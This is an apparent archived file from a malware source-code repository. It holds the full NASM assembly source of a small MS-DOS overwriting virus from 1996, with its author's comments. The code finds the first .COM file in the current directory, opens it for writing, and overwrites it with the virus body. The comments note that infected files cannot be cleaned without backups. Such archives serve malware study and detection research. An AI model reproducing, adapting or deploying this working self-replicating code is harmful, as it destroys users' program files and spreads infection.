MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.auvstiny.asm
2021-01-12 17:31:39 -06:00

24 lines
1000 B
NASM

;AuVS.tiny.OVERWRITING.0001
;My 1st VIRUS!!!!!!!!!!!!!!
;This is an extremely simple overwriting, tiny virus, that is easy to
;detect, but there's not much to do to clean it if you have no backups
;F-PROT detects this as an unknown TRIVIAL variant
START:
mov ah,4Eh ;Find first *.COM file in current dir
lea dx,OFFSET MASK ;*.COM
xor cx,cx ;xero out da register
int 21h ;find
mov dx,009Eh ;file handle
mov ax,3D01h ;open file for writing
int 21h ;do it
mov bx,ax ;put handle in bx
mov ah,40h ;write to file
mov cx,END - START ;find size of file even if modified
lea dx,OFFSET START ;the START
int 21h ;WRITE IT, DAMN IT!!
int 20h ;END IT ALL
Mask db '*.COM',0
Copyright db 'Copyright `96, KALiPORNiA'
VirusName db 'AuVS.TINY.OVERWRITING.0001'
END: